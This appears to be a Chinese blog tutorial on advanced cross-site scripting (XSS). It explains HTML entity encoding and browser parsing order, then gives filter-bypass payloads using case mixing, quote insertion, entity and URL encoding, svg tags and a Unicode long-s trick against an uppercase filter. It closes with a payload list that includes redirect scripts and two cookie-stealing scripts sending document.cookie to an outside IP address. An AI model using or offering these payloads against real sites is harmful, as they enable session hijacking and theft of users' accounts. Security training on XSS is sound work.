分享

XSS进阶版

 冲天香阵 2021-04-21
图片

XSS进阶版

图片图片

01


1 原理

    虽然之前写过,但并不全(是水文),而这期进阶版,其中几个概念必须得先说一下

    1 html字符实体

    为什么要讲这个呢,因为HTML中有些字符是和关键词冲突的,比如<、>、&,解码之后,浏览器会误认为它们是标签

    php其中有个函数  htmlspecialchars() 函数就是将一些会产生歧义的符号转移成实体编号,对xss起到了防护作用。

图片

    2 解析机制

    解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析,一般先是HTML解析,后面两个解析看情况而定,但大多数都是HTML解析->URL解析->JavaScript解析

图片

    3 服务器与黑客交互机制

    之前的文章(水文)说过,可以回去复习一下

https://mp.weixin.qq.com/s?__biz=MzkzMjIxMDU5OA==&mid=2247483772&idx=1&sn=8760c7a4086314a6c1962397ec9539cf&chksm=c25e73b5f529faa36aa9d3dc2bb5e552dfe0959f8c80e11f6c7418749257d1ac2b31ec8faee9&token=1378834015&lang=zh_CN#rd

    4 危害

    除了以下危害还有很多,感兴趣的面向百度⑧

图片


02


基本概念都说过了,现在就直接进入干货了

绕过过程:

1 大小写绕过

    这没啥好说的

    <script>alert(zac)</script>

    更换成

    <ScrIpT>alert(zac)</sCripT>

2 空写绕过

   当网站过滤了onerror 过滤了script 这些敏感字符,但是“ 或者 ' 这种符号会变成空可以绕过,例如代码

    <img src=zac oner”ror=alert(ZAC)>

3 编码绕过

    这是目前来说绕过最常用,使用最多的手段了,利用不同的编码机制去绕过,有几个例子

例1:

    <sc&#114;ipt>ale&#114;t(“zac”)</sc&#114;Ipt>

   这是利用了unicode编码,将r转换成&#114;来绕过

图片

例2:

    如下,经过了Html解析之后,进入href,就开始url解析了,没有把协议给编码,被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分,最后就会触发xss

<a href='javascript:%61%6c%65%72%74%28%31%29'></a>

%61%6c%65%72%74%28%31%29这行payload解码就会变为alert(1)

图片

例3

我们来按照浏览器的规律,解析一下

<a

href='&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#122;&#97;&#99;&#x29;'>

</a>

第一次html解析

图片

第二次url解析

图片

第三次js解析(unicode)

图片

例4  <svg>标签

    当我们的payload的是:

    <script>alert&#x28;1&#x29;</script>

图片

    可以发现,浏览器屁反应都没有

    但是当我们在payload的前加上<svg>的时候

图片

    可以发现,界面弹窗了,这是为啥呢

    这是因为解析到<svg>标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。



4 小型实战

我们先来看一下代码

图片

当我们输入<script>alert(zac)</script>时

图片

    会输出<_SCRIPT>ALERT(ZAC)

    可以看到,这个过滤机制就是利用strupper函数,将字符串变成大写,这是我们要考虑的第一个问题,第二个就是在<符号后面加了_,这是第二个问题,解决这两个问题,我们才能正常的弹出xss

    js是区分大小写的,所以直接在标签内写弹窗脚本是不太可行的,但是我们可以直接引入外部的js,比如<script src=ZZZZAAACCC></script>,这就可以绕过

    那么下斜杠怎么办呢?

    因为后台匹配的是<符号后面接上正常的字母,如果使用的是不正常的英文字母呢?这里刚好有另外一个条件就是转化大写的这个操作,这个操作很妙,因为HTML标签是不区分大小写的,这样我们使用下图的这个拉丁字母,当转化成大写的话就刚好是S

图片

    所以最后的payload就是

    <ſcript src=XXXX></script>        

    这样我们就可以绕过啦

5 一些xss的payload

1 网站跳转

<script>window.location.href='https://www.ZACURL.com'</script> 

<meta content='1;http://www.ZACURL.com/' http-equiv='refresh'>

2 cookie盗取

<script>window.location.href='http://1.1.1.1/?msg='+escape(document.cookie)</script>

<script>document.body.appendChild(document.createElement('img')).src='http://1.1.1.1/?msg='+escape(document.cookie)</script>

3 不同的弹窗

图片

图片

图片

图片


后记

    顺便提一嘴,我们学校的纸面渗透授权书已经在要了,等要到了有想锻炼的dd我

    然后我文章里那个输入法,就是怕别人盗图恶心我整的,我爱阿狸!耶!






图片

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多